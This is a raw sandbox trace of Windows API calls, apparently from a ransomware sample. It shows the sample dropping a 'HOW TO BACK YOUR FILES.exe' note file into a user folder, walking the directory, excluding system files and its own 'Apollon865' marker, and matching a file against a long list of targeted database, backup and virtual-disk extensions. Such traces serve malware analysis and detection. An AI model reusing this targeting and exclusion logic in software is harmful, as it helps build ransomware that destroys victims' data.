	[0087.178] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0087.178] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s-v8p_ll9yksvy\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0087.179] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0087.179] GetLastError () returned 0x0
	[0087.179] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0087.179] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0087.179] CloseHandle (hObject=0x10c) returned 1
	[0087.179] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0087.179] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0087.179] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eb7c10, ftCreationTime.dwHighDateTime=0x1d4c6cd, ftLastAccessTime.dwLowDateTime=0x302b7e90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x302b7e90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0087.180] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0087.180] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0087.180] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0087.180] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eb7c10, ftCreationTime.dwHighDateTime=0x1d4c6cd, ftLastAccessTime.dwLowDateTime=0x302b7e90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x302b7e90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.180] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0087.180] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0087.180] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0087.180] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0087.180] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c5eda90, ftCreationTime.dwHighDateTime=0x1d4cc2c, ftLastAccessTime.dwLowDateTime=0x6d87aa90, ftLastAccessTime.dwHighDateTime=0x1d4d529, ftLastWriteTime.dwLowDateTime=0x6d87aa90, ftLastWriteTime.dwHighDateTime=0x1d4d529, nFileSizeHigh=0x0, nFileSizeLow=0x12936, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="67_2HwYFOm0qrpCHG.bmp", cAlternateFileName="67_2HW~1.BMP")) returned 1
	[0087.180] lstrcmpiW (lpString1="67_2HwYFOm0qrpCHG.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0087.180] lstrcmpiW (lpString1="67_2HwYFOm0qrpCHG.bmp", lpString2="Apollon865.txt.exe") returned -1
	[0087.180] lstrcmpiW (lpString1="67_2HwYFOm0qrpCHG.bmp", lpString2=".") returned 1
	[0087.180] lstrcmpiW (lpString1="67_2HwYFOm0qrpCHG.bmp", lpString2="..") returned 1
	[0087.180] lstrcmpiW (lpString1="67_2HwYFOm0qrpCHG.bmp", lpString2="windows") returned -1
	[0087.180] lstrcmpiW (lpString1="67_2HwYFOm0qrpCHG.bmp", lpString2="bootmgr") returned -1
	[0087.180] lstrcmpiW (lpString1="67_2HwYFOm0qrpCHG.bmp", lpString2="temp") returned -1
	[0087.180] lstrcmpiW (lpString1="67_2HwYFOm0qrpCHG.bmp", lpString2="pagefile.sys") returned -1
	[0087.180] lstrcmpiW (lpString1="67_2HwYFOm0qrpCHG.bmp", lpString2="boot") returned -1
	[0087.180] lstrcmpiW (lpString1="67_2HwYFOm0qrpCHG.bmp", lpString2="ids.txt") returned -1
	[0087.180] lstrcmpiW (lpString1="67_2HwYFOm0qrpCHG.bmp", lpString2="ntuser.dat") returned -1
	[0087.180] lstrcmpiW (lpString1="67_2HwYFOm0qrpCHG.bmp", lpString2="perflogs") returned -1
	[0087.180] lstrcmpiW (lpString1="67_2HwYFOm0qrpCHG.bmp", lpString2="MSBuild") returned -1
	[0087.180] lstrlenW (lpString="67_2HwYFOm0qrpCHG.bmp") returned 21
	[0087.180] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\*") returned 55
	[0087.180] lstrcpyW (in: lpString1=0x119e674, lpString2="67_2HwYFOm0qrpCHG.bmp" | out: lpString1="67_2HwYFOm0qrpCHG.bmp") returned="67_2HwYFOm0qrpCHG.bmp"
	[0087.180] lstrlenW (lpString="67_2HwYFOm0qrpCHG.bmp") returned 21
	[0087.180] lstrlenW (lpString="Apollon865") returned 10
	[0087.180] lstrcmpiW (lpString1="qrpCHG.bmp", lpString2="Apollon865") returned 1
	[0087.180] lstrlenW (lpString=".dll") returned 4
	[0087.181] lstrcmpiW (lpString1="67_2HwYFOm0qrpCHG.bmp", lpString2=".dll") returned 1
	[0087.181] lstrlenW (lpString=".lnk") returned 4
	[0087.181] lstrcmpiW (lpString1="67_2HwYFOm0qrpCHG.bmp", lpString2=".lnk") returned 1
	[0087.181] lstrlenW (lpString=".ini") returned 4
	[0087.181] lstrcmpiW (lpString1="67_2HwYFOm0qrpCHG.bmp", lpString2=".ini") returned 1
	[0087.181] lstrlenW (lpString=".sys") returned 4
	[0087.181] lstrcmpiW (lpString1="67_2HwYFOm0qrpCHG.bmp", lpString2=".sys") returned 1
	[0087.181] lstrlenW (lpString="67_2HwYFOm0qrpCHG.bmp") returned 21
	[0087.181] lstrlenW (lpString="bak") returned 3
	[0087.181] lstrcmpiW (lpString1="bmp", lpString2="bak") returned 1
	[0087.181] lstrlenW (lpString="ba_") returned 3
	[0087.181] lstrcmpiW (lpString1="bmp", lpString2="ba_") returned 1
	[0087.181] lstrlenW (lpString="dbb") returned 3
	[0087.181] lstrcmpiW (lpString1="bmp", lpString2="dbb") returned -1
	[0087.181] lstrlenW (lpString="vmdk") returned 4
	[0087.181] lstrcmpiW (lpString1=".bmp", lpString2="vmdk") returned -1
	[0087.181] lstrlenW (lpString="rar") returned 3
	[0087.181] lstrcmpiW (lpString1="bmp", lpString2="rar") returned -1
	[0087.181] lstrlenW (lpString="zip") returned 3
	[0087.181] lstrcmpiW (lpString1="bmp", lpString2="zip") returned -1
	[0087.181] lstrlenW (lpString="tgz") returned 3
	[0087.181] lstrcmpiW (lpString1="bmp", lpString2="tgz") returned -1
	[0087.181] lstrlenW (lpString="vbox") returned 4
	[0087.181] lstrcmpiW (lpString1=".bmp", lpString2="vbox") returned -1
	[0087.181] lstrlenW (lpString="vdi") returned 3
	[0087.181] lstrcmpiW (lpString1="bmp", lpString2="vdi") returned -1
	[0087.181] lstrlenW (lpString="vhd") returned 3
	[0087.181] lstrcmpiW (lpString1="bmp", lpString2="vhd") returned -1
	[0087.181] lstrlenW (lpString="vhdx") returned 4
	[0087.181] lstrcmpiW (lpString1=".bmp", lpString2="vhdx") returned -1
	[0087.181] lstrlenW (lpString="avhd") returned 4
	[0087.181] lstrcmpiW (lpString1=".bmp", lpString2="avhd") returned -1
	[0087.181] lstrlenW (lpString="db") returned 2
	[0087.181] lstrcmpiW (lpString1="mp", lpString2="db") returned 1
	[0087.182] lstrlenW (lpString="db2") returned 3
	[0087.182] lstrcmpiW (lpString1="bmp", lpString2="db2") returned -1
	[0087.182] lstrlenW (lpString="db3") returned 3
	[0087.182] lstrcmpiW (lpString1="bmp", lpString2="db3") returned -1
	[0087.182] lstrlenW (lpString="dbf") returned 3
	[0087.182] lstrcmpiW (lpString1="bmp", lpString2="dbf") returned -1
	[0087.182] lstrlenW (lpString="mdf") returned 3
	[0087.182] lstrcmpiW (lpString1="bmp", lpString2="mdf") returned -1
	[0087.182] lstrlenW (lpString="mdb") returned 3
	[0087.182] lstrcmpiW (lpString1="bmp", lpString2="mdb") returned -1
	[0087.182] lstrlenW (lpString="sql") returned 3
	[0087.182] lstrcmpiW (lpString1="bmp", lpString2="sql") returned -1
	[0087.182] lstrlenW (lpString="sqlite") returned 6
	[0087.182] lstrcmpiW (lpString1="HG.bmp", lpString2="sqlite") returned -1
	[0087.182] lstrlenW (lpString="sqlite3") returned 7
	[0087.182] lstrcmpiW (lpString1="CHG.bmp", lpString2="sqlite3") returned -1
	[0087.182] lstrlenW (lpString="sqlitedb") returned 8
	[0087.182] lstrcmpiW (lpString1="pCHG.bmp", lpString2="sqlitedb") returned -1
	[0087.182] lstrlenW (lpString="xml") returned 3
	[0087.182] lstrcmpiW (lpString1="bmp", lpString2="xml") returned -1
	[0087.182] lstrlenW (lpString="$er") returned 3
	[0087.182] lstrcmpiW (lpString1="bmp", lpString2="$er") returned 1
	[0087.182] lstrlenW (lpString="4dd") returned 3
	[0087.182] lstrcmpiW (lpString1="bmp", lpString2="4dd") returned 1
	[0087.182] lstrlenW (lpString="4dl") returned 3
	[0087.182] lstrcmpiW (lpString1="bmp", lpString2="4dl") returned 1
	[0087.182] lstrlenW (lpString="^^^") returned 3
	[0087.182] lstrcmpiW (lpString1="bmp", lpString2="^^^") returned 1
	[0087.182] lstrlenW (lpString="abs") returned 3
	[0087.182] lstrcmpiW (lpString1="bmp", lpString2="abs") returned 1
	[0087.182] lstrlenW (lpString="abx") returned 3
	[0087.182] lstrcmpiW (lpString1="bmp", lpString2="abx") returned 1
	[0087.182] lstrlenW (lpString="accdb") returned 5
	[0087.182] lstrcmpiW (lpString1="G.bmp", lpString2="accdb") returned 1
	[0087.183] lstrlenW (lpString="accdc") returned 5
	[0087.183] lstrcmpiW (lpString1="G.bmp", lpString2="accdc") returned 1
	[0087.183] lstrlenW (lpString="accde") returned 5
	[0087.183] lstrcmpiW (lpString1="G.bmp", lpString2="accde") returned 1
	[0087.183] lstrlenW (lpString="accdr") returned 5
	[0087.183] lstrcmpiW (lpString1="G.bmp", lpString2="accdr") returned 1
	[0087.183] lstrlenW (lpString="accdt") returned 5
	[0087.183] lstrcmpiW (lpString1="G.bmp", lpString2="accdt") returned 1
	[0087.183] lstrlenW (lpString="accdw") returned 5
	[0087.183] lstrcmpiW (lpString1="G.bmp", lpString2="accdw") returned 1
	[0087.183] lstrlenW (lpString="accft") returned 5
	[0087.183] lstrcmpiW (lpString1="G.bmp", lpString2="accft") returned 1
	[0087.183] lstrlenW (lpString="adb") returned 3
	[0087.183] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1
	[0087.183] lstrlenW (lpString="adb") returned 3
	[0087.183] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1
	[0087.183] lstrlenW (lpString="ade") returned 3
	[0087.183] lstrcmpiW (lpString1="bmp", lpString2="ade") returned 1
	[0087.183] lstrlenW (lpString="adf") returned 3
	[0087.183] lstrcmpiW (lpString1="bmp", lpString2="adf") returned 1
	[0087.183] lstrlenW (lpString="adn") returned 3
	[0087.183] lstrcmpiW (lpString1="bmp", lpString2="adn") returned 1
	[0087.183] lstrlenW (lpString="adp") returned 3
	[0087.183] lstrcmpiW (lpString1="bmp", lpString2="adp") returned 1
	[0087.183] lstrlenW (lpString="alf") returned 3
	[0087.183] lstrcmpiW (lpString1="bmp", lpString2="alf") returned 1
	[0087.183] lstrlenW (lpString="ask") returned 3
	[0087.183] lstrcmpiW (lpString1="bmp", lpString2="ask") returned 1
	[0087.183] lstrlenW (lpString="btr") returned 3
	[0087.183] lstrcmpiW (lpString1="bmp", lpString2="btr") returned -1
	[0087.183] lstrlenW (lpString="cat") returned 3
	[0087.183] lstrcmpiW (lpString1="bmp", lpString2="cat") returned -1
	[0087.183] lstrlenW (lpString="cdb") returned 3
	[0087.183] lstrcmpiW (lpString1="bmp", lpString2="cdb") returned -1
	[0087.183] lstrlenW (lpString="ckp") returned 3
	[0087.184] lstrcmpiW (lpString1="bmp", lpString2="ckp") returned -1
	[0087.184] lstrlenW (lpString="cma") returned 3
	[0087.184] lstrcmpiW (lpString1="bmp", lpString2="cma") returned -1
	[0087.184] lstrlenW (lpString="cpd") returned 3
	[0087.184] lstrcmpiW (lpString1="bmp", lpString2="cpd") returned -1
	[0087.184] lstrlenW (lpString="dacpac") returned 6
	[0087.184] lstrcmpiW (lpString1="HG.bmp", lpString2="dacpac") returned 1
	[0087.184] lstrlenW (lpString="dad") returned 3
	[0087.184] lstrcmpiW (lpString1="bmp", lpString2="dad") returned -1
	[0087.184] lstrlenW (lpString="dadiagrams") returned 10
	[0087.184] lstrcmpiW (lpString1="qrpCHG.bmp", lpString2="dadiagrams") returned 1
	[0087.184] lstrlenW (lpString="daschema") returned 8
	[0087.184] lstrcmpiW (lpString1="pCHG.bmp", lpString2="daschema") returned 1
	[0087.184] lstrlenW (lpString="db-journal") returned 10
	[0087.184] lstrcmpiW (lpString1="qrpCHG.bmp", lpString2="db-journal") returned 1
	[0087.184] lstrlenW (lpString="db-shm") returned 6
	[0087.184] lstrcmpiW (lpString1="HG.bmp", lpString2="db-shm") returned 1
	[0087.184] lstrlenW (lpString="db-wal") returned 6
	[0087.184] lstrcmpiW (lpString1="HG.bmp", lpString2="db-wal") returned 1
	[0087.184] lstrlenW (lpString="dbc") returned 3
	[0087.184] lstrcmpiW (lpString1="bmp", lpString2="dbc") returned -1
	[0087.184] lstrlenW (lpString="dbs") returned 3
	[0087.184] lstrcmpiW (lpString1="bmp", lpString2="dbs") returned -1
	[0087.184] lstrlenW (lpString="dbt") returned 3
	[0087.184] lstrcmpiW (lpString1="bmp", lpString2="dbt") returned -1
	[0087.184] lstrlenW (lpString="dbv") returned 3
	[0087.184] lstrcmpiW (lpString1="bmp", lpString2="dbv") returned -1
	[0087.184] lstrlenW (lpString="dbx") returned 3
	[0087.184] lstrcmpiW (lpString1="bmp", lpString2="dbx") returned -1
	[0087.184] lstrlenW (lpString="dcb") returned 3
	[0087.184] lstrcmpiW (lpString1="bmp", lpString2="dcb") returned -1
	[0087.184] lstrlenW (lpString="dct") returned 3
	[0087.184] lstrcmpiW (lpString1="bmp", lpString2="dct") returned -1
	[0087.184] lstrlenW (lpString="dcx") returned 3
	[0087.184] lstrcmpiW (lpString1="bmp", lpString2="dcx") returned -1
	[0087.184] lstrlenW (lpString="ddl") returned 3
	[0087.185] lstrcmpiW (lpString1="bmp", lpString2="ddl") returned -1
	[0087.185] lstrlenW (lpString="dlis") returned 4
	[0087.185] lstrcmpiW (lpString1=".bmp", lpString2="dlis") returned -1
	[0087.185] lstrlenW (lpString="dp1") returned 3
	[0087.185] lstrcmpiW (lpString1="bmp", lpString2="dp1") returned -1
	[0087.185] lstrlenW (lpString="dqy") returned 3
	[0087.185] lstrcmpiW (lpString1="bmp", lpString2="dqy") returned -1
	[0087.185] lstrlenW (lpString="dsk") returned 3
	[0087.185] lstrcmpiW (lpString1="bmp", lpString2="dsk") returned -1
	[0087.185] lstrlenW (lpString="dsn") returned 3
	[0087.185] lstrcmpiW (lpString1="bmp", lpString2="dsn") returned -1
	[0087.185] lstrlenW (lpString="dtsx") returned 4
	[0087.185] lstrcmpiW (lpString1=".bmp", lpString2="dtsx") returned -1
	[0087.185] lstrlenW (lpString="dxl") returned 3
	[0087.185] lstrcmpiW (lpString1="bmp", lpString2="dxl") returned -1
	[0087.185] lstrlenW (lpString="eco") returned 3
	[0087.185] lstrcmpiW (lpString1="bmp", lpString2="eco") returned -1
	[0087.185] lstrlenW (lpString="ecx") returned 3
	[0087.185] lstrcmpiW (lpString1="bmp", lpString2="ecx") returned -1
	[0087.185] lstrlenW (lpString="edb") returned 3
	[0087.185] lstrcmpiW (lpString1="bmp", lpString2="edb") returned -1
	[0087.185] lstrlenW (lpString="epim") returned 4
	[0087.185] lstrcmpiW (lpString1=".bmp", lpString2="epim") returned -1
	[0087.185] lstrlenW (lpString="fcd") returned 3
	[0087.185] lstrcmpiW (lpString1="bmp", lpString2="fcd") returned -1
	[0087.185] lstrlenW (lpString="fdb") returned 3
	[0087.185] lstrcmpiW (lpString1="bmp", lpString2="fdb") returned -1
	[0087.185] lstrlenW (lpString="fic") returned 3
	[0087.185] lstrcmpiW (lpString1="bmp", lpString2="fic") returned -1
	[0087.185] lstrlenW (lpString="flexolibrary") returned 12
	[0087.185] lstrcmpiW (lpString1="m0qrpCHG.bmp", lpString2="flexolibrary") returned 1
	[0087.185] lstrlenW (lpString="fm5") returned 3
	[0087.185] lstrcmpiW (lpString1="bmp", lpString2="fm5") returned -1
	[0087.185] lstrlenW (lpString="fmp") returned 3
	[0087.185] lstrcmpiW (lpString1="bmp", lpString2="fmp") returned -1
	[0087.186] lstrlenW (lpString="fmp12") returned 5
	[0087.186] lstrcmpiW (lpString1="G.bmp", lpString2="fmp12") returned 1
	[0087.186] lstrlenW (lpString="fmpsl") returned 5
	[0087.186] lstrcmpiW (lpString1="G.bmp", lpString2="fmpsl") returned 1
	[0087.186] lstrlenW (lpString="fol") returned 3
	[0087.186] lstrcmpiW (lpString1="bmp", lpString2="fol") returned -1
	[0087.186] lstrlenW (lpString="fp3") returned 3
	[0087.186] lstrcmpiW (lpString1="bmp", lpString2="fp3") returned -1
	[0087.186] lstrlenW (lpString="fp4") returned 3
	[0087.186] lstrcmpiW (lpString1="bmp", lpString2="fp4") returned -1
	[0087.186] lstrlenW (lpString="fp5") returned 3
	[0087.186] lstrcmpiW (lpString1="bmp", lpString2="fp5") returned -1
	[0087.186] lstrlenW (lpString="fp7") returned 3
	[0087.186] lstrcmpiW (lpString1="bmp", lpString2="fp7") returned -1
	[0087.186] lstrlenW (lpString="fpt") returned 3
	[0087.186] lstrcmpiW (lpString1="bmp", lpString2="fpt") returned -1
	[0087.186] lstrlenW (lpString="frm") returned 3
	[0087.186] lstrcmpiW (lpString1="bmp", lpString2="frm") returned -1
	[0087.186] lstrlenW (lpString="gdb") returned 3
	[0087.186] lstrcmpiW (lpString1="bmp", lpString2="gdb") returned -1
	[0087.186] lstrlenW (lpString="gdb") returned 3
	[0087.186] lstrcmpiW (lpString1="bmp", lpString2="gdb") returned -1
	[0087.186] lstrlenW (lpString="grdb") returned 4
	[0087.186] lstrcmpiW (lpString1=".bmp", lpString2="grdb") returned -1
	[0087.186] lstrlenW (lpString="gwi") returned 3
	[0087.186] lstrcmpiW (lpString1="bmp", lpString2="gwi") returned -1
	[0087.186] lstrlenW (lpString="hdb") returned 3
	[0087.186] lstrcmpiW (lpString1="bmp", lpString2="hdb") returned -1
	[0087.186] lstrlenW (lpString="his") returned 3
	[0087.186] lstrcmpiW (lpString1="bmp", lpString2="his") returned -1
	[0087.186] lstrlenW (lpString="ib") returned 2
	[0087.186] lstrcmpiW (lpString1="mp", lpString2="ib") returned 1
	[0087.186] lstrlenW (lpString="idb") returned 3
	[0087.186] lstrcmpiW (lpString1="bmp", lpString2="idb") returned -1
	[0087.186] lstrlenW (lpString="ihx") returned 3
	[0087.187] lstrcmpiW (lpString1="bmp", lpString2="ihx") returned -1
	[0087.187] lstrlenW (lpString="itdb") returned 4
	[0087.187] lstrcmpiW (lpString1=".bmp", lpString2="itdb") returned -1
	[0087.187] lstrlenW (lpString="itw") returned 3
	[0087.187] lstrcmpiW (lpString1="bmp", lpString2="itw") returned -1
	[0087.187] lstrlenW (lpString="jet") returned 3
	[0087.187] lstrcmpiW (lpString1="bmp", lpString2="jet") returned -1
	[0087.187] lstrlenW (lpString="jtx") returned 3
	[0087.187] lstrcmpiW (lpString1="bmp", lpString2="jtx") returned -1
	[0087.187] lstrlenW (lpString="kdb") returned 3
	[0087.187] lstrcmpiW (lpString1="bmp", lpString2="kdb") returned -1
	[0087.187] lstrlenW (lpString="kexi") returned 4
	[0087.187] lstrcmpiW (lpString1=".bmp", lpString2="kexi") returned -1
	[0087.187] lstrlenW (lpString="kexic") returned 5
	[0087.187] lstrcmpiW (lpString1="G.bmp", lpString2="kexic") returned -1
	[0087.187] lstrlenW (lpString="kexis") returned 5
	[0087.187] lstrcmpiW (lpString1="G.bmp", lpString2="kexis") returned -1
	[0087.187] lstrlenW (lpString="lgc") returned 3
	[0087.187] lstrcmpiW (lpString1="bmp", lpString2="lgc") returned -1
	[0087.187] lstrlenW (lpString="lwx") returned 3
	[0087.187] lstrcmpiW (lpString1="bmp", lpString2="lwx") returned -1
	[0087.187] lstrlenW (lpString="maf") returned 3
	[0087.187] lstrcmpiW (lpString1="bmp", lpString2="maf") returned -1
	[0087.187] lstrlenW (lpString="maq") returned 3
	[0087.187] lstrcmpiW (lpString1="bmp", lpString2="maq") returned -1
	[0087.187] lstrlenW (lpString="mar") returned 3
	[0087.187] lstrcmpiW (lpString1="bmp", lpString2="mar") returned -1
	[0087.187] lstrlenW (lpString="marshal") returned 7
	[0087.187] lstrcmpiW (lpString1="CHG.bmp", lpString2="marshal") returned -1
	[0087.187] lstrlenW (lpString="mas") returned 3
	[0087.187] lstrcmpiW (lpString1="bmp", lpString2="mas") returned -1
	[0087.187] lstrlenW (lpString="mav") returned 3
	[0087.187] lstrcmpiW (lpString1="bmp", lpString2="mav") returned -1
	[0087.187] lstrlenW (lpString="maw") returned 3
	[0087.187] lstrcmpiW (lpString1="bmp", lpString2="maw") returned -1
	[0087.188] lstrlenW (lpString="mdbhtml") returned 7
	[0087.188] lstrcmpiW (lpString1="CHG.bmp", lpString2="mdbhtml") returned -1
	[0087.188] lstrlenW (lpString="mdn") returned 3
	[0087.188] lstrcmpiW (lpString1="bmp", lpString2="mdn") returned -1
	[0087.188] lstrlenW (lpString="mdt") returned 3
	[0087.188] lstrcmpiW (lpString1="bmp", lpString2="mdt") returned -1
	[0087.188] lstrlenW (lpString="mfd") returned 3
	[0087.188] lstrcmpiW (lpString1="bmp", lpString2="mfd") returned -1
	[0087.188] lstrlenW (lpString="mpd") returned 3
	[0087.188] lstrcmpiW (lpString1="bmp", lpString2="mpd") returned -1
	[0087.188] lstrlenW (lpString="mrg") returned 3
	[0087.188] lstrcmpiW (lpString1="bmp", lpString2="mrg") returned -1
	[0087.188] lstrlenW (lpString="mud") returned 3
	[0087.188] lstrcmpiW (lpString1="bmp", lpString2="mud") returned -1
	[0087.188] lstrlenW (lpString="mwb") returned 3
	[0087.188] lstrcmpiW (lpString1="bmp", lpString2="mwb") returned -1
	[0087.188] lstrlenW (lpString="myd") returned 3
	[0087.188] lstrcmpiW (lpString1="bmp", lpString2="myd") returned -1
	[0087.188] lstrlenW (lpString="ndf") returned 3
	[0087.188] lstrcmpiW (lpString1="bmp", lpString2="ndf") returned -1
	[0087.188] lstrlenW (lpString="nnt") returned 3
	[0087.188] lstrcmpiW (lpString1="bmp", lpString2="nnt") returned -1
	[0087.188] lstrlenW (lpString="nrmlib") returned 6
	[0087.188] lstrcmpiW (lpString1="HG.bmp", lpString2="nrmlib") returned -1
	[0087.188] lstrlenW (lpString="ns2") returned 3
	[0087.188] lstrcmpiW (lpString1="bmp", lpString2="ns2") returned -1
	[0087.188] lstrlenW (lpString="ns3") returned 3
	[0087.188] lstrcmpiW (lpString1="bmp", lpString2="ns3") returned -1
	[0087.188] lstrlenW (lpString="ns4") returned 3
	[0087.188] lstrcmpiW (lpString1="bmp", lpString2="ns4") returned -1
	[0087.188] lstrlenW (lpString="nsf") returned 3
	[0087.188] lstrcmpiW (lpString1="bmp", lpString2="nsf") returned -1
	[0087.188] lstrlenW (lpString="nv") returned 2
	[0087.188] lstrcmpiW (lpString1="mp", lpString2="nv") returned -1
	[0087.188] lstrlenW (lpString="nv2") returned 3
	[0087.189] lstrcmpiW (lpString1="bmp", lpString2="nv2") returned -1
	[0087.189] lstrlenW (lpString="nwdb") returned 4
	[0087.189] lstrcmpiW (lpString1=".bmp", lpString2="nwdb") returned -1
	[0087.189] lstrlenW (lpString="nyf") returned 3
	[0087.189] lstrcmpiW (lpString1="bmp", lpString2="nyf") returned -1
	[0087.189] lstrlenW (lpString="odb") returned 3
	[0087.189] lstrcmpiW (lpString1="bmp", lpString2="odb") returned -1
	[0087.189] lstrlenW (lpString="odb") returned 3
	[0087.189] lstrcmpiW (lpString1="bmp", lpString2="odb") returned -1
	[0087.189] lstrlenW (lpString="oqy") returned 3
	[0087.189] lstrcmpiW (lpString1="bmp", lpString2="oqy") returned -1
	[0087.189] lstrlenW (lpString="ora") returned 3
	[0087.189] lstrcmpiW (lpString1="bmp", lpString2="ora") returned -1
	[0087.189] lstrlenW (lpString="orx") returned 3
	[0087.189] lstrcmpiW (lpString1="bmp", lpString2="orx") returned -1
	[0087.189] lstrlenW (lpString="owc") returned 3
	[0087.189] lstrcmpiW (lpString1="bmp", lpString2="owc") returned -1
	[0087.189] lstrlenW (lpString="p96") returned 3
	[0087.189] lstrcmpiW (lpString1="bmp", lpString2="p96") returned -1
	[0087.189] lstrlenW (lpString="p97") returned 3
	[0087.189] lstrcmpiW (lpString1="bmp", lpString2="p97") returned -1
	[0087.189] lstrlenW (lpString="pan") returned 3
	[0087.189] lstrcmpiW (lpString1="bmp", lpString2="pan") returned -1
	[0087.189] lstrlenW (lpString="pdb") returned 3
	[0087.189] lstrcmpiW (lpString1="bmp", lpString2="pdb") returned -1
	[0087.189] lstrlenW (lpString="pdm") returned 3
	[0087.189] lstrcmpiW (lpString1="bmp", lpString2="pdm") returned -1
	[0087.189] lstrlenW (lpString="pnz") returned 3
	[0087.189] lstrcmpiW (lpString1="bmp", lpString2="pnz") returned -1
	[0087.189] lstrlenW (lpString="qry") returned 3
	[0087.189] lstrcmpiW (lpString1="bmp", lpString2="qry") returned -1
	[0087.189] lstrlenW (lpString="qvd") returned 3
	[0087.189] lstrcmpiW (lpString1="bmp", lpString2="qvd") returned -1
	[0087.190] lstrlenW (lpString="rbf") returned 3
	[0087.190] lstrcmpiW (lpString1="bmp", lpString2="rbf") returned -1
	[0087.190] lstrlenW (lpString="rctd") returned 4
	[0087.190] lstrcmpiW (lpString1=".bmp", lpString2="rctd") returned -1
	[0087.190] lstrlenW (lpString="rod") returned 3
	[0087.190] lstrcmpiW (lpString1="bmp", lpString2="rod") returned -1
	[0087.190] lstrlenW (lpString="rodx") returned 4
	[0087.190] lstrcmpiW (lpString1=".bmp", lpString2="rodx") returned -1
	[0087.190] lstrlenW (lpString="rpd") returned 3
	[0087.190] lstrcmpiW (lpString1="bmp", lpString2="rpd") returned -1
	[0087.190] lstrlenW (lpString="rsd") returned 3
	[0087.190] lstrcmpiW (lpString1="bmp", lpString2="rsd") returned -1
	[0087.190] lstrlenW (lpString="sas7bdat") returned 8
	[0087.190] lstrcmpiW (lpString1="pCHG.bmp", lpString2="sas7bdat") returned -1
	[0087.190] lstrlenW (lpString="sbf") returned 3
	[0087.190] lstrcmpiW (lpString1="bmp", lpString2="sbf") returned -1
	[0087.190] lstrlenW (lpString="scx") returned 3
	[0087.190] lstrcmpiW (lpString1="bmp", lpString2="scx") returned -1
	[0087.190] lstrlenW (lpString="sdb") returned 3
	[0087.190] lstrcmpiW (lpString1="bmp", lpString2="sdb") returned -1
	[0087.190] lstrlenW (lpString="sdc") returned 3
	[0087.190] lstrcmpiW (lpString1="bmp", lpString2="sdc") returned -1
	[0087.190] lstrlenW (lpString="sdf") returned 3
	[0087.190] lstrcmpiW (lpString1="bmp", lpString2="sdf") returned -1
	[0087.190] lstrlenW (lpString="sis") returned 3
	[0087.190] lstrcmpiW (lpString1="bmp", lpString2="sis") returned -1
	[0087.190] lstrlenW (lpString="spq") returned 3
	[0087.190] lstrcmpiW (lpString1="bmp", lpString2="spq") returned -1
	[0087.190] lstrlenW (lpString="te") returned 2
	[0087.190] lstrcmpiW (lpString1="mp", lpString2="te") returned -1
	[0087.190] lstrlenW (lpString="teacher") returned 7
	[0087.190] lstrcmpiW (lpString1="CHG.bmp", lpString2="teacher") returned -1
	[0087.190] lstrlenW (lpString="tmd") returned 3
	[0087.190] lstrcmpiW (lpString1="bmp", lpString2="tmd") returned -1
	[0087.190] lstrlenW (lpString="tps") returned 3
	[0087.191] lstrcmpiW (lpString1="bmp", lpString2="tps") returned -1
	[0087.191] lstrlenW (lpString="trc") returned 3
